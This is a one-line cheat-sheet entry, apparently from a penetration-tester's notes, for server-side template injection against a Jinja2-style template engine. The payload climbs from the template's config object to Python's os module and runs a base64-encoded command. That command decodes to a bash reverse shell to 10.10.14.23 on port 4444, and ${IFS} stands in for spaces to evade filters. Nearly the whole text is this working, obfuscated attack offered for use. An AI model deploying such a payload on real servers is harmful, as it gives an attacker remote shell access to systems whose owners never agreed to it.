command execution:
# to execute a base64 payload
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy80NDQ0IDA+JjE=${IFS}|base64${IFS}-d|bash').read()}}
# see : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-subprocesspopen